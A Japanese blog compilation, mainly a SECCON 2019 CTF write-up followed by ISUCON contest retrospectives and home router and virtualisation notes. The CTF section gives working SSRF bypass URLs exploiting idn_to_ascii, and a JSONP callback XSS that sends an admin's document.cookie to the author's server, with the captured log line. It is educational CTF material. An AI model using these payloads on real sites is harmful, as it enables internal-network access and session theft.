SECCON 2019 予選 write up

チーム「yharima」で SECCON 2019 CTF の予選に参加していた。1954点、45位だった。

coffee_break

暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。

import sys
from Crypto.Cipher import AES
import base64


def encrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s

def decrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20)

    return s


key1 = "SECCON"
key2 = "seccon2019"
#text = sys.argv[1]

#enc1 = encrypt(key1, text)
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
#p = 16 - (len(enc1) % 16)
#enc2 = cipher.encrypt(enc1 + chr(p) * p)
#print(base64.b64encode(enc2).decode('ascii'))

crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
crypt_raw=base64.b64decode(crypted)
enc1 = cipher.decrypt(crypt_raw)

enc1 = enc1[:-5]

print decrypt(key1, enc1)

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Option-Cmd-U

繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。

当該ソースコードには、以下のような部分があった。

                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }

ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。

全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。

試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)

これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。

SECCON{what_a_easy_bypass_314208thg0n423g}

SPA

過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。

153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)} HTTP/1.1" 404 209 "http://spa.chal.seccon.jp:18364/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36"

ISUCON 9 予選に参加した

全然ダメでしたが。

いつものチーム「ワイハリマ」で参加していました。前回は結構惜しいところまで行っていたので今年こそは予選突破するぞ!と言っていたら、全然手も足も出ず 5110 点という結果に。

当日はいつも通り、前半は yuta1024 と yabuuuuu が事前準備したインフラに適合する作業をしつつ kataribe やスローログの準備をしている間に僕がデータベースのスキーマとか、見てわかりそうな部分を改善……しようとしていたのだが、今回は SQL のテーブルは最初からそんなに悪い構造になっておらず、結局効いたのは blob が入っているテーブルで検索にインデックスが効かないため画像ファイルを DB から追い出したことくらい。二人がインフラを改善してくれていたのも効いていたようだ。

その後、 3 人合流して分析にあたり、 /transactions.json がとにかく遅いので、改善に着手した。SQL のトランザクションを貼りっぱなしで ShipmentService に https 接続していたのが、切り離しに成功して少しだけ上がる。

その後は buy が遅いということになった。buy は商品を買おうとする注文で、「在庫のある状態の商品なら、 PaymentService に決済を要求し、決済にも成功すれば購入できる、そうでなければ DB の何もかもロールバック」という処理になっていた。在庫状況を確認するのが SELECT FOR UPDATE になっており、行ロックで決済完了まで進める、という処理になっており、要は「買えそうなら商品を仮抑えして決済し、カード番号が違うとかで決済が失敗すればキャンセル」というごく普通の処理になっていたのだが、どうやら「人気商品に注文が殺到する」という、これまた現実にありそうな注文をしてくるようだった。結果、同じ商品に対するほぼ同時のリクエストが全部ロックされ、 fpm のセッション数すら溢れて nginx が 502 Bad Gateway を返す、ということになっていた。

buy に対する根本的な解決策が思いつかず、行ロック緩和について話し合ったものの雑な処理ではベンチが通らなかったりするので結局改善には至らず。別途他の二人がインフラ周りをいじって、 buy だけ専用機で fpm セッションを食わせるようにしたのはそこそこ効いたようだ。

今回、問題自体はとても良いものだと感じただけに、特にその設けられた課題に対して直接的な何かを何もできず、ただただ前年の本選問題を見てすらいなかったことなどを反省することしかできなかった。しかし、どうすればよかったのか、結局わかっていない。

(追記)チームのリポジトリ https://github.com/yuta1024/isucon9

libvirtd を Ubuntu 18.04 にインストールし、部屋の LAN とブリッジする

自宅では長らく VMware ESXi を使用してきて、大変良かったのだが、ホストが Linux だと何かと楽だろうと考えたりしていたり、DS77U5 への移行のタイミングでホスト側に直接 Docker で入れられるものは直接入れたくなったりしたのもあり、新たに libvirtd を検証開始。意外とすんなり入って中の状態も分かりやすい感じにはなったが、(主に libvirtd に直接関係ない)よくわからないところに罠があったのでメモ。

なおこの前に OpenStack を試そうとしたが、 conjure-up が半端に色々ラップしたまま失敗してどうなっているのかさっぱりわからない状態になったのを見て OpenStack は諦めた。

まずは、 Ubuntu 18.04: 仮想化のKVMをインストールする – Narrow Escape にしたがってパッケージを入れた。ただし、 libguestfs-tools は要らなそうだったので、今のところ入れていない。なお、 /var/lib/libvirt に色々保存するようだったので、通常必要ない操作だがインストール前にこのディレクトリを実際に保存したいパーティションにシンボリックリンクとして指定した。

$ sudo apt install -y qemu-kvm libvirt0 libvirt-bin virt-manager

また、

$ sudo gpasswd libvirt -a `whoami`

続いて、ブリッジネットワークを構成する。いつの間にか(多分 LTS だと 18.04 から?) /etc/network/interfaces がもぬけの殻になっていて、 netplan に移行したから /etc/netplan/ を見ろと言っているので、 /etc/netplan/01-netcfg.yaml を編集した。なおこのファイルの名前は、環境によっては 50-cloud-init.yaml などになるようだ。

なお、ブリッジ側の MAC アドレスは起動するたびにランダムに変わるようで、 DHCP で固定の IP アドレスを配るのに問題があるので、固定した。IP アドレスを static でホスト側で指定するなら不要と思われる。また、 VM で検証しているときはホスト側の仮想スイッチでプロミスキャスモードを禁止しているために通信がうまく行えない罠にはまっていた。

あと、 macvcap でホストの LAN に直接刺せそうな選択肢があるが、これはブリッジではなく NIC をその VM で占有する時に使うもののようなので、 VM とホスト両方、あるいは複数 VM で使うときはブリッジ構成は必要なようだ。

# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
  version: 2
  renderer: networkd
  ethernets:
    enp1s0:
      dhcp4: no
  bridges:
    br0:
      macaddress: XX:XX:XX:XX:XX:XX
      dhcp4: yes
      interfaces: [enp1s0]

これで

$ sudo netplan generate
$ sudo netplan apply

などとするとブリッジが構成できたが、古いものが消えなかったりして微妙にこのファイルの定義とずれていくようなので、素直に

$ sudo reboot

するのがよさそう。

これでブリッジが構成されるので、

$ sudo brctl show
bridge name     bridge id               STP enabled     interfaces
br0             XXXX.XXXXXXXXXXXX       no              enp1s0
                                                        vnet0
docker0         XXXX.XXXXXXXXXXXX       no              vethXXXXXXX
                                                        vethXXXXXXX
virbr0          XXXX.XXXXXXXXXXXX       yes             virbr0-nic

みたいな感じで brctl でブリッジが見え、 ifconfig でも DHCP から降ってきた IP アドレスが見れるようになった。

なお、 vnet0 というのが、 libvirtd でブリッジに接続したときに VM と紐づけて作る tap インターフェイスのようだ。なので、この状態で enp1s0, br0, vnet0 は同じ L2 として自由に疎通できそうだが、実際には br0 をまたいだパケットがやりとりされない現象に悩んだ。tcpdump を見ても、 enp1s0 から流れてきたパケットは br0 には流れているが vnet0 には流れず、 vnet0 から流しているはずの DHCP discover も br0 には流れているが enp1s0 には流れなかった。

結局、 networking – why linux bridge doesn’t work – Super User を見て、 iptables が L2 に干渉してくるのか疑問に思いながらも試してみたところ、echo 0 > /proc/sys/net/bridge/bridge-nf-call-iptables によって実際に解決した。よくわかっていないが、どうやら自分のホストに来てしまった時点で L2 な転送でも iptables を通ってしまうようだ。

なのであとは /etc/sysctl.conf 相当のファイルに

net.bridge.bridge-nf-call-iptables = 0

という内容を書くことになるが、ここにも罠があった。

まず、 Ubuntu 18.04 だと /etc/sysctl.d といういかにもディレクトリがあり、 /etc/sysctl.d/README にはご丁寧に

After making any changes, please run “service procps start” (or, from
a Debian package maintainer script “invoke-rc.d procps start”).

とまで書いてあったのだが、なぜか動かなかったので、結局昔ながらのやり方で /etc/sysctl.conf に書き込むことにした。

しかし、これでは sysctl -p /etc/sysctl.conf や invoke-rc.d procps start では反映されるものの、再起動するとなぜか 1 に戻ってしまう。該当範囲は不明だが、少なくとも Ubuntu 18.04 では procps のサービス起動(sysctl.conf 読み込みを実施する)をネットワークが有効になる前に実施してしまうので、ネットワーク関係の設定はここに書いても無視されてしまうようだ: Ubuntu 18.04 で ipv6 を無効にする | 雑廉堂の雑記帳

少なくとも net.bridge.bridge-nf-call-iptables は /etc/rc.local でもうまくいかなかった。そのためネットワーク関係のあれこれが起動しているであろう net if の post-up にねじこみたかったが、FAQ | netplan.io によるとそのようなものはまだないようで、代わりに networkd-dispatcher で設定するよう勧められている。幸い、手元の Ubuntu 18.04 では OS インストール時に networkd-dispatcher がインストールされていたようだったので、次のようなファイルを作成することで、再起動しても sysctl.conf が読み込まれて、ブリッジなら iptables を無視してパケットが行き来できるようになった。

$ cat /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
#!/bin/sh
/etc/init.d/procps restart
exit 0
$ ls -al /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
-rwxr-xr-x 1 root root 46 Jul  6 20:57 /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround

これでようやく、 libvirtd に br0 を認識させて、直接 enp1s0 に出ていけるようになった。

MAC アドレスは中からも外からもホストの vnet0 としても、ここに表示されたものになるようだ。ESXi ではマシンを一回立ち上げるまで MAC アドレスがわからないが、 libvirtd + virt-mangaer では最初に起動する前から表示されるので、インストール前に DHCP/DNS に登録できるのは便利。

(2019/7/23 追記)UEFI ベースの VM を移植するに、 UEFI/OVMF – Ubuntu Wiki にあるように apt install ovmf して UEFI 用のファームウェアをダウンロードする必要があった。また、他のところで使っていた UEFI ベースの VM イメージを取り込む際、 BIOS メニューに入る前(Tiano core ロゴ)に F2 を連打してメニューから efi ファイルを直接選択して起動し起動後に grub-install して起動すべきファイルを認識させる必要があった。

OPNsense を Protectli Vault FW1 にインストール、 VyOS と簡単に比較

前回までで、 Protectli Vault FW1 に VyOS インストール簡単な速度測定をしたので、 OPNsense に乗せ換えて比べてみた。

OPNsense のウェブページから USB メモリ用の img.bz2 をダウンロードして、bz2 を解凍してディスク(パーティションではない)に丸ごと dd で書き込み、そこから boot した。vga なイメージをダウンロードしたにも関わらず画面は Booting で止まり、シリアルポートからしか見えなかった。シリアルポートでも起動時・終了時以外は特に何かが出るわけではないが、起動時にはそれぞれの端子の IP アドレスなどが出るので便利ではある。ちなみに、 115,200 bps なので Vault の BIOS の初期設定と同じでちょうどよい。

Live イメージになっていてそのままでも利用は可能で、”WAN” で DHCP が利用可能だと “LAN” のポート(ただし初期設定では em0 なので、 Vault FW1 では “WAN” と印刷されている)からそのままインターネットに出ることができた(DHCP も動いている)。LAN 側に繋いで 192.168.1.1 宛に ssh (ユーザ名 installer、パスワード opnsense)でインストールできた。その時立ち上がっている WebUI からは installer ログインできないようだ。

起動後も初期設定は WAN と LAN が逆になっているが、管理画面から割り当てを変えることで管理画面の表示と印刷を合わせることができる。割り当て変更直後は DHCP がうまくうごかないのか、一度電源ボタンを単押ししてシャットダウンしたあと起動した。もっといい方法はあるかもしれない。

なお、大抵のサービスは初期設定で全インターフェイスで LISTEN するようになっているので、探して LAN に変更する方がよさそう。

OPNsense は初期設定でも最低限のファイヤーウォールが設置されているようで、色々設定画面に出てきた。Linux (iptables) と FreeBSD の違いか、かなり設定項目が違ったので、ひとまず初期設定で前回と同じ構成で iperf を通したところ、次のようになった。

Vault の top

39 processes:  1 running, 38 sleeping
CPU:  0.0% user,  0.0% nice, 30.7% system,  0.1% interrupt, 69.2% idle
Mem: 115M Active, 103M Inact, 182M Wired, 31M Buf, 7418M Free
Swap: 8192M Total, 8192M Free

iperf

TCP window size: 85.0 KByte (default)
------------------------------------------------------------
[  3] local 192.168.1.101 port 57712 connected with 192.168.100.37 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-20.0 sec  2.18 GBytes   935 Mbits/sec

PC Junkie rev2.4 – 【NW】pfsense VS Vyatta でも Vyatta は pfSense と比べて同じスループットでも CPU 使用率がはるかに低かったと報告されているが、今回の比較(VyOS と OPNsense)でも概ね同じ傾向のようだ(前回は VyOS は初期設定で 1% 未満、ファイヤーウォールを構成していくつか設定すると7%くらいだった)。

また、電源ボタンを押すと OPNsense が正常にシャットダウンした。

とりあえず、最初にインストールして気付いた差は次の通り。単純な設定でのスループット性能としては VyOS の方が優れていそうではあるが、どちらも Gigabit な環境でルータにするのに不足ということはなさそう。OPNsense は WebUI で色々いじれたりする点などもあり、ひとまずは OPNsense を使ってみることにした。

項目 VyOS OPNsense
NAT 930Mbps での CPU 使用率 初期設定1%未満
いくつか FW を設定すると 7% (条件は前回)
初期設定約30%
初期インストールでの SSD 消費量 約 500MB
(約 1GB を squashfs 圧縮)
約 1GB
WebUI なし あり

VyOS 負荷測定 on Protectli Vault FW1

Protectli Vault FW1 に VyOS を入れて、一応はファイヤーウォールも形だけ設定した状態での速度を計った。1Gbps リンク程度なら Celeron J1900 でも余裕な模様。

なお、自宅配線の都合上別のルータが挟まっていたりしてこれも正確な測定ではない。あくまで Vault FW1 + VyOS の負荷状況を確認するもの。

ルール

(show config の結果のうち NAT に関係ないものは省略、よくわからないけど公開するほどでもない LAN 内のパラメタは **** にした)

firewall {
    all-ping enable
    broadcast-ping disable
    config-trap disable
    ipv6-receive-redirects disable
    ipv6-src-route disable
    ip-src-route disable
    log-martians enable
    name WAN_TO_LAN {
        default-action drop
        rule 100 {
            action accept
            state {
                established enable
                related enable
            }
        }
        rule 110 {
            action accept
            destination {
                port 22
            }
            protocol tcp
        }
        rule 120 {
            action accept
            destination {
                port 5001
            }
            protocol tcp
        }
    }
    receive-redirects disable
    send-redirects enable
    source-validation disable
    syn-cookies enable
    twa-hazards-protection disable
}
interfaces {
    ethernet eth0 {
        address dhcp
        duplex auto
        firewall {
            in {
                name WAN_TO_LAN
            }
        }
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth1 {
        address ****
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth2 {
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth3 {
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    loopback lo {
    }
}
nat {
    destination {
        rule 1 {
            destination {
                port 23
            }
            inbound-interface eth0
            protocol tcp
            translation {
                address ****
                port 22
            }
        }
        rule 2 {
            destination {
                port 5001
            }
            inbound-interface eth0
            protocol tcp
            translation {
                address ****
                port 5001
            }
        }
    }
    source {
        rule 99 {
            outbound-interface eth0
            source {
                address ****
            }
            translation {
                address masquerade
            }
        }
    }
}

WAN -> LAN (LAN 側が iperf における -c)
転送速度

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  1.09 GBytes   932 Mbits/sec

LAN -> WAN (LAN 側が iperf における -s)

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  1.09 GBytes   933 Mbits/sec

WAN -> LAN の際の Vault

%Cpu(s):  0.0 us,  0.2 sy,  0.0 ni, 93.3 id,  0.0 wa,  0.0 hi,  6.5 si,  0.0 st

このページで出せる考察

ジャンボフレームなどは無効なまま iperf でこの速度が出ているので、ギガビット(TCP/IP ならペイロードは理論値で 950Mbps 未満なはず?)は使い切って CPU が余っているといえそう。

ルータの自由度を上げるために Protectli Vault FW1 を買ってきた

現在家のルータは RouterBoard RB3011-UiAS-RM を使っているが、Protectli Vault FW1 の存在を知り、より自由度が高い遊べる環境を用意しようと思って購入した。

買い物

今回は Amazon.com で買ってきた。Amazon.com でのページは Firewall Micro Appliance With 4x Gigabit Intel LAN Ports, Barebone だが、今は全く同じものは売り切れているようだ(同じシリーズの他のものはある)。買ったときは $199.00 で、それに送料 1,272 円と Import Fees Deposit 1,915 円(多分ドル建てで決まっていたはずだが、 Invoice では JPY になっている)がかかった(勤務先にはこういう時に使える会社の費用補助があるので自己負担はもっと少ない)。

今回購入したのはベアボーンなので、 RAM と SSD を買う必要があった。 RAM は DDR3L で最大 8GB、 SSD は mSATA で、それぞれ次のものを買った。

なお、どちらも滅びかかっている規格のようで、 DDR3L RAM はいくつかの店にあったが、 mSATA SSD は秋葉原ではそもそもほとんどの店に存在せず、あっても 8000 円以上するモデルしか見当たらなかったため Amazon で購入した。ちなみに、 RAM は刺さないと画面にも何も映らないので、動作確認には最低でも RAM が必要。

届いた商品

マザーボードはこのような感じになっている。マザーボードに YANLING のロゴがあるので委託先かもしれない。YANLING のページを見ると、YANLING の N10Plus がほぼ同じ製品であるように見える。筐体裏面には Made in China と書いてあり、時計も中国の標準時に設定されて出荷されてきた。

ファンレスなので音もせずとても静かで、大きさもさすがにポート数の同じスイッチングハブよりは大きいものの、それと比べたくなる程度には小さい(普通の L3 扱えるルータと比べるとむしろ小さい気がする)。

また、 BIOS には「電源オン状態で電力供給が途絶えた場合、電力が復活したら自動でオンに戻る」設定があり、標準で有効になっているようだ。BIOS 画面で AC アダプタを引っこ抜いて落ちた後アダプタを戻したら、自動で OS が起動した。ルータは常時起動していることを想定するので、この機能はありがたい(hp ML115 でも見た気がするので、デスクトップパソコンをあまり使わないから知らないだけでよくある機能なんだろうか)。

なお、 AC アダプタは Protectli 40W Power Supply – Protectli の商品画像と同じ、 CHANNEL WELL TECHNOLOGY なる会社のものがきた。商品紹介ページでは 110-240V と書いてあったり FAQ では 100-240V となっていたりするが、商品画像と同じく 100-240V と書かれたものがきた。アダプタ本体とケーブルの間は PC やモニタの電源でよく見る端子なのでその辺で買えそうなケーブルだった。日本でそのまま使える type-A だがアース付きなので、タップにアースがない場合は3ピン→2ピンをかますか、ケーブルを買い替えることになると思われる。

Ubuntu MATE で動作確認

まず最初に、 RAM だけ買って SSD なしの状態で Ubuntu MATE のインストーラの USB メモリを刺したところすんなり GUI が立ち上がった。

電源ボタンも Ubuntu MATE 側できちんと認識して、押されたらダイアログを出すなりなんなり OS で設定した動作をするようだ。

VyOS 入れてのテスト

SSD が到着したら、とりあえず VyOS を入れてみた。FW1 FW2 FW4A Series Hardware Overview – Protectli の説明通り、 WAN が eth0、LAN が eth1 に割り当たっていた。

また、添付のケーブルを使うことでシリアルポートも利用できた。BIOS 画面をシリアルポートに転送する機能がついていて、 OS が起動した後は OS から見えるようになっているので VyOS もシリアルポート越しに利用できた。VyOS では GRUB で Serial console を選ぶと起動画面もシリアルで流れてくる( GRUB は VGA とシリアルポート両方に表示された)

ただし、 BIOS 画面が出ている状態でのシリアルポートは How to use the Vault’s COM port – Protectli の説明通り 115,200 bps なのに対し、 VyOS の初期設定は 9,600 bps なので、切り替えないと途中で画面が表示されなくなる。BIOS も VyOS も設定項目はあるようなので、使うならどちらかに統一しておいた方がよさそう。

VGA あるから家ならそちらを使えばいい感はあるが、 GPD microPC とか持っていたらシリアルポートが利用できるのが便利なのかもしれない。

インストールしたら、次の二つを参考に VyOS で NAT 構成してみた。まだファイヤーウォールなどは設定していない。インストールも含め、特に問題らしい問題は少なくともデバイス由来のものは起こらなかった。

簡単な速度測定

この状態で、ざっくり NAT 越しに速度を測定してみた。

Protectli で NAT を構成し、 ThinkPad を LAN 側に、部屋の LAN WAN 側にして、部屋の LAN においた ML115 (の上に増設された何かの NIC)と、 ThinkPad の間で NAT 越しの iperf を試してみた。

iperf

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-20.0 sec  1.65 GBytes   709 Mbits/sec

通信中の Protectli Vault の top

%Cpu(s):  0.0 us,  0.1 sy,  0.0 ni, 99.3 id,  0.0 wa,  0.0 hi,  0.6 si,  0.0 st
KiB Mem:   8051500 total,   286864 used,  7764636 free,    31692 buffers
KiB Swap:        0 total,        0 used,        0 free.   138536 cached Mem

(追記:この後 ThinkPad を測定用とせずデスクトップ/サーバ構成のマシン同士で測定したところ、簡易測定でもスループットが 930 Mbps を超えたので、Protectli Vault FW1 + VyOS のせいで 800Mbps を下回っていたわけではなさそう:VyOS スループット測定 on Protectli Vault FW1 | にろきのメモ帳
(追記:↑しかし ThinkPad も状況により 900Mbps を超えたので原因はよくわからない)

php-fpm on Ubuntu での謎エラーの解決

Ubuntu 18.04 + php-fpm 7.2 + NextCloud で、

Zend OPcache can't be temporary enabled (it may be only disabled till the end of request) at Unknown#0

のようなエラーがログに大量に貯まるので調査。色々ぐぐったところ、 opcache.enable を複数回設定しようとするとよくわからないエラーとして登場するようだ。とりあえず、 /etc/php/7.2/fpm/pool.d/***.conf から opcache.enable と opcache.enable_cli をコメントアウトし、 /etc/php/7.2/fpm/php.ini では有効化されているのを確認することでエラーメッセージは消えたが、想定通りになったかどうかまでは確認できていない。

Windows 版 OpenVPN をクライアントにする時、ローカルで鍵ペアを生成して CSR だけ送る

OpenVPN でサーバを構築する方法は2x HOW TO | OpenVPNなどのページに掲載されていたりするが、 Windows 版で新規クライアントに対して easy-rsa を用いつつ秘密鍵を端末から出さないで証明書を得る方法について。何分目新しいものはないが、こういうのは既にサーバが立っていると手順通り以外したくなくなる病になりがち(特に easy-rsa で微妙にラップされているので余計になりがち)なのでメモ。基本的にはEasy_Windows_Guide – OpenVPN Communityの簡略版。

クライアント側

  • Community Downloads | OpenVPNよりクライアントをダウンロード
  • インストール。この時、インストールするもの一覧で、 EasyRSA をインストールするオプションのチェックボックスを忘れずにつける。
  • cmd.exe を管理者権限で開く

init-config は vars をリセットするのでインストール時のみ実行。notepad では “set KEY_” で始まる行の環境変数を適宜設定。client-name は(ca の中で)一意なものを設定。

> cd "C:\Program Files\OpenVPN\easy-rsa"
> init-config
> notepad vars.bat
> vars
> clean-all
> build-key client-name

client-name.key と client-name.csr ができるので、 csr は VPN 設計的には秘密にする必要はないので OpenVPN サーバを管理できる端末に送る。key はクライアント端末から出さない。

サーバ側

# cd easy-rsa # ここを読んでいる時点でeasy-rsa のディレクトリが既にあるはずなので移動
# vim ./keys/client-name.csr # コピー方法はなんでもよいが、ここに csr を配置
# . ./vars
# ./sign-req client-name

これで、 ./keys/client-name.crt に証明書が発行される。これも秘密にする必要はないのでクライアント端末にコピーする。

ISUCON 8 予選に参加した話

ISUCON 8 の予選にチーム「ワイハリマ」として yuta1024, yabuuuuu とともに参加していた。ソースコードは GitHub で公開: yuta1024/isucon8 yuta1024/isucon8-infra

一瞬だけなぜか 47k というスコアが出るも、最終的に、最後の方は 33k-36k 程度をさまよいつつ最後の提出が 35,379 点。予選通過ラインは 36,471 点だった模様。競技中は予選通過はもっと遠いものと思っていたら、もう一工夫どころか下手したらベンチマークガチャの引き程度で超えていたかもしれない程度まで近づいていたのか…… 思うところは色々あるが来年がんばりたい。

ということで思い出せる範囲で、自分が実施したことをメモ。

競技前準備

当日の集合のことと、 GitHub のプライベートリポジトリを使用することを決定。その後、個人的な用事により旅立ってしまい前日に戻ってきたが、その間に yuta1024 と yabuuuuu はその間にアプリケーションの配布ツールや想定されたミドルウェアの設定、 SSH 公開鍵配布などを準備してくれていたようだ。ISUCON の日程も自分の不在もずいぶん前からわかっていたし、数日前だと全員いたとしても時間が潤沢にとれたわけでもないので、もう少し早めに(例えばディストリビューションがわかった時点で)動くべきだった。

競技開始

当日集合し作業開始。作業時間は当初のアナウンス通り、 10:00-18:00。

まずは問題を把握。題材はイベントの予約サイトで、管理者はイベントの追加や売り上げの集計が行え、ユーザは席の予約(ランクだけ選んであとはランダム)とそのキャンセル、自分の予約状況の確認が行える。テーブル構成は先ほどのリポジトリの isucon8/db/schema.sql にもとのものが上がっているが、概ねの構成は以下の通り。全てのイベントを一つの会場で実施していることになかなか気付かず、理解するのに少し時間がかかった。

  • ユーザのテーブル。ユーザごとに一行で、普通。
  • イベントのテーブル。公開されているかや価格(一番安い C 席の価格。上位席は席のグレードごとに決まった金額(後述)が加算)などが格納されている。普通。
  • 席のテーブル。S席(番号1-50で価格は(C席と比べた差額が)5000円)みたいなのが S, A, B, C の 4 種類、 1000 席あり、これで 1000 行を構成している。それぞれに id とは別に種別ごとの ID もついている(例えば A 席なら id=51 が 1 番、 id=60 が 10 番……)。なお、会場は一つしかないようで、この席とイベントの相関はない。中身は不変。まあなんというか、要するに明らかに無駄が多い。
  • 予約テーブル。予約ごとに1行だが、キャンセルした予約も参照することがあるため論理削除しか行われない。しかも、キャンセルフラグはわかれておらず canceled_at の時刻が NULL かどうかで判定している。席の空き状況もここで管理しているようだ(ただ、 UNIQUE KEY で二重予約が防止されている)。初期データで19万行程度あるが、そのうちキャンセルされていないのは 15k 程度しかないようだ。もちろん構成としては席テーブルよりはわかるがここも色々と問題になりやすそう。
  • 管理者の一覧。あんまり見ていなかったが、結果的にこれをいじるようなリクエストはあまり問題にならなかった。

また、今回は PHP を選択した。その場合、初期実装は Slim フレームワーク利用だった。時間はかかるが脱却すると速くはなる気はしていたのだが、初期ベンチで明らかに SQL が重かったこともあり、最後まで Slim に載せたままだった。初期状態でスコアは 1k 程度。

与えられた VM が 3 台あったが、初期実装は一台で動作するものだった。

初動

アプリケーションのロジックを主担当とすることになり、ミドルウェアの設定は残りの二人に任せてとりあえず VM のうち 1 台を使って調査開始。最初にどうにかすべきと判断したのはとりあえず席の一覧(1000件)取得後にその一件一件に対して予約状況を確認する SQL 文を発行していたこと(修正途中、別方面で分析を進めていた二人からもここがやばいと報告あり)。席テーブルの内容をハードコードし、ざっくり書き換えたのと、他の二人のミドルウェア改善と合わせてこの時点で 10k 突破(ただ、ベンチごとの揺らぎが激しく、同じコードで 5k を下回ることもあった)

これでも mysql の CPU 使用率がほとんどなので、これはデータベースチューニング回になると判断。

中盤

とりあえず見るまでもなく修正する点をつぶしている間にミドルウェアの整備が進んで kataribe や MySQL のスローログが使えるようになった。/admin/ や / が重いとわかるが、純粋にデータ量が多いため他と同じ処理時間になるわけもなく、他のボトルネックの検討も含めて相談。予約済みのもののみに興味があるクエリでは明らかに無駄で、特にキャンセル済み判定にインデックスが使えていないという yabuuuuu の指摘もあり、キャンセル判定や最終更新時刻など、テーブルにカラムをいくつか追加。変更点は ALTER やサブクエリを使えば SQL 文で完結しそうだったので /initialize の init-db.sh の修正を行い、保存された sqldump には手を付けなかった(その方が後々の変更も楽だし)。追加で必要となったインデックスも追加。

